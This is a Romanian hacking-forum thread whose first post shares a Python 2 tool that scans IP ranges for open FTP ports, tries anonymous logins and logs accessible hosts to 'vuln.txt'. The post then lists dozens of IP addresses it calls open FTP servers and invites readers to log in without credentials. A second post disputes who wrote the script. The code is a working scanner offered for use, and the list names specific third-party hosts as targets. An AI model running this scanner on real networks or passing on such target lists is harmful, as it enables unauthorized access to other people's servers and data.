Jump to content
h05th

FTP-uri si Scannerul COPIAT de Lozls2

Recommended Posts

Posted

#!/usr/bin/env python

"""
lozls2.py - Scanner pentru FTP-uri facut de Lozls2 aka Coice1977
Written by RST-Forums.COM
Performance update by Lozls2
"""
import sys
import threading
import Queue
import ftplib
import socket
import time



global ftpqueue
ftpqueue = Queue.Queue()


class Ftp(threading.Thread):
"""Handles connections"""

def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def run(self):
"""Lozls2 incearca sa gaseasca un FTP bun ."""
while True:
try:
ip_add = self.queue.get(False)
except Queue.Empty:
break
try:
ftp = ftplib.FTP(ip_add)
ftp.login()
except ftplib.all_errors:
print 'Nu Functioneaza: %s' % (ip_add)
else:
print 'Functioneaza: %s' % (ip_add)
write = open('vuln.txt', "a+")
write.write(ip_add + '\n')
write.close()
ftp.quit()
finally:
self.queue.task_done()

class Scanner(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def run(self):
"""Lozls2 cauta cu disperare IP-uri cu portul 21 aprins !"""
global ftpqueue
while True:
try:
ip_add = self.queue.get(False)
except Queue.Empty:
break

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
check = s.connect_ex((str(ip_add), 21))
if check == 0:
ftpqueue.put(ip_add)
else:
print 'Nu sunt ftp-uri frate: %s' % (ip_add)
s.close()

finally:
self.queue.task_done()


def iprange():
"""Creates list of Ip's from Start_Ip to End_Ip and checks for port 21"""
start_ip = sys.argv[1]
end_ip = sys.argv[2]
ip_range = Queue.Queue()
start = list(map(int, start_ip.split(".")))
end = list(map(int, end_ip.split(".")))
tmp = start
socket.setdefaulttimeout(3)

ip_range.put(start_ip)
while tmp != end:
start[3] += 1
for i in (3, 2, 1):
if tmp[i] == 256:
tmp[i] = 0
tmp[i-1] += 1
ip_range.put(".".join(map(str, tmp)))

for i in range(10):
time.sleep(0.1)
thread = Scanner(ip_range)
thread.setDaemon(True)
thread.start()
ip_range.join()

if ftpqueue.empty():
print '\nLozls2 spune ca nu a gasit nimic .\n'
sys.exit(0)

for i in range(10):
thread = Ftp(ftpqueue)
thread.setDaemon(True)
thread.start()
ftpqueue.join()

if __name__ == '__main__':
if len(sys.argv) != 3:
print 'Usage: ./lozls2 <start_ip> <end_ip>'
print 'RST-Forums.COM , Lozls2 is a legend!'
sys.exit(1)
else:
iprange()

Aici sunt cateva FTP-uri prinse in 10 - 15 minute !


111.125.177.223
5.42.183.6
203.148.64.71
49.236.251.9
49.236.251.50
210.247.213.10
210.247.213.7
210.247.213.48
210.247.213.15
210.247.213.116
210.247.213.98
210.247.225.200
210.247.225.177
210.247.225.197
210.247.225.196
210.247.225.198
210.247.225.193
210.247.225.194
210.247.225.199
210.247.225.195
210.247.225.201
210.247.225.202
210.247.225.203
210.247.225.204
210.247.225.205
210.247.225.206
210.247.226.148
210.247.239.225
210.247.239.231
210.247.239.226
210.247.239.227
210.247.239.229
210.247.239.230
210.247.239.233
210.247.239.232
210.247.239.235
210.247.239.236
210.247.239.237
210.247.239.244
210.247.239.245
210.247.239.243
210.247.239.242
210.247.239.239
210.247.239.241
210.247.239.246
210.247.239.247
210.247.239.248
210.247.239.249
210.247.239.250
210.247.239.251
210.247.239.252
210.247.239.253
210.247.239.254
210.247.199.168
210.247.207.169

Va logati cu ele fara nume si parola !

Posted (edited)

Programul este facut 100% de Lozls2 !

nein -> Te macina grija ? Programul este facut de Lozls2 (la panarama vorbind) , el este gasit pe net si share-uit pe RST , asa ca te rog sterge linku acela .

Edited by h05th

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...